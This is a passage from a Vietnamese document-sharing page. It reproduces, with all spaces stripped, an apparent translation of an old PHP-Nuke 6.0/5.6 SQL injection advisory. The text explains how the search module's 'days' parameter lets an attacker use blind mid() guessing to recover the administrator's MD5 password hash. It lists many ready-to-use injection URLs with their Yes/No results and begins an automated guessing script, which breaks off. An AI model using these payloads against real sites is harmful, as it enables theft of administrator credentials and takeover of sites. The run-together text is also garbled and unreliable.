Tham khảo tài liệu lấy password của admin user trên phpnuke 6, công nghệ thông tin, an ninh - bảo mật phục vụ nhu cầu học tập, nghiên cứu và làm việc hiệu quả
Nội dung trích xuất từ tài liệu:
Lấy password của Admin user trên PHPnuke 6.LấypasswordcủaAdminusertrênPHPnuke6.0&5.6:trangnàyđãđượcđọc lầnProduct:PHPnukeVersion:6.0&5.6Problem:PHPNukeSQLInjectionhttp://cgishield.com/AicũngcóthểlấyđượcpasswordcủaAdminusertrênPHPnuke6.0&5.6windows+linuxmethod#1PHPnukelàwebportalcóopensourceđãđượcsữdụngrộngrải,cómộtlổiđượctìmthấyđólàđiiêùkhiiểntừxaquaSQLinjection,vớicáinàynóchophéplấycắppasswordcủaadministratorspassword.Vớimọtđốnglộnxôncủapass,AttackerphảiloginvàcóthểvàođượcCPcủaadminchoviêcđiềukhiểnhệthống.LỗinàytồntạitrongsearchenginebaogồmvớiPHPnuke(/modules/search/).Ởtrongfilenày,CSDLđượcgọiđểlàmtríchngoàikhoảngtrốngxungquanhusercungcấpbiến.Từkhidatabasegọiviệcchọnthôngtincủausertừtable,Hackercóthểsữdụngselectfishđểtấncông.Nộidungcủaviệctấncônglàhackerxácđịnhgiátrịcủakýtựđơnởtrongbấtkỳcolumntrongtableđượcchỉđịnhtrongcâulệnh..HầuhếtcáccolumnnàylàquantrọngđểhackerlấyđựocpasswordcủaadminnhưngđượcmãhoáchủyếulàMD5.Chỉcó16giátrịchomổikýtựvàtổngcộng32kýtự.chọnfishingbaogồmviệcsữdụnghàmcủaMySQLlàmid()kếtquảtrãvềlàtruenếukýtựđoánlàđúng,bằngcáchnàytacóthểsetresultstrênmànhình.Nếukếtquảxuấthiệntrênmànhình,Attackercóthểxácđịnhcáckýtựđúng,vàrồitiếptụctiếnhànhviệcđoánkýtựtiếpthoetrongtiếntrình.Bấtkỳmd5passwordcũngcóítnhất512(32*16)lầnđoán.Khibạnđoánbằngtay,mấtchừngkhoảng2030minutes,nhưngkhinólàtựđôngbằngchươngtrìnhthìmấtkhoảngvàiphút.Chươngtrìnhởcuốitàiliệunày.Đâylàurlđầutiênmàcáchackerkhaithác:http://site/modules.php?name=search&query=&topic=&category=&author=&days=1+or+mid(a.pwd,1,1)=6&type=storiesKhiphpnukequeriesthemysqldatabase,nócódạngsau:selects.sid,s.aid,s.informant,s.title,s.time,s.hometext,s.bodytext,a.url,s.comments,s.topicfromnuke_storiess,nuke_authorsawheres.aid=a.aidAND(s.titleLIKE%%ORs.hometextLIKE%%ORs.bodytextLIKE%%ORs.notesLIKE%%)ANDTO_DAYS(NOW())TO_DAYS(time)line36ofmainfile.php,thereforethefollowingdatastringswillonlyworkviaPOSTinversion6.0orlater.TheexploitincludedattheendofthisfileworksviaPOST.)http://site/modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid(a.pwd,1,1)=1&type=storiesNOhttp://site/modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid(a.pwd,1,1)=2&type=storiesNohttp://site/modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid(a.pwd,1,1)=3&type=storiesNohttp://site/modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid(a.pwd,1,1)=4&type=storiesNohttp://site/modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid(a.pwd,1,1)=5&type=storiesNohttp://site/modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid(a.pwd,1,1)=6&type=storiesYeshttp://site/modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid(a.pwd,1,1)=7&type=storiesNohttp://site/modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid(a.pwd,1,1)=8&type=storiesNohttp://site/modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid(a.pwd,1,1)=9&type=storiesNohttp://site/modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid(a.pwd,1,1)=0&type=storiesNohttp://site/modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid(a.pwd,1,1)=char(97)&type=storiesNohttp://site/modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid(a.pwd,1,1)=char(98)&type=storiesNohttp://site/modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid(a.pwd,1,1)=char(99)&type=storiesNohttp://site/modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid(a.pwd,1,1)=char(100)&type=storiesNohttp://site/modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid(a.pwd,1,1)=char(101)&type=storiesNohttp://site/modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid(a.pwd,1,1)=char(102)&type=storiesNoKýtựtiếptheourlcódạnghttp://site/modules.php?name=search&query=&topic=&category=&author=&days=1+or+mid(a.pwd,2,1)=1&type=storiesĐâylàđoạnmãđoántựđộng$checkchar[f]=char(102);for($i=$beginchar;$i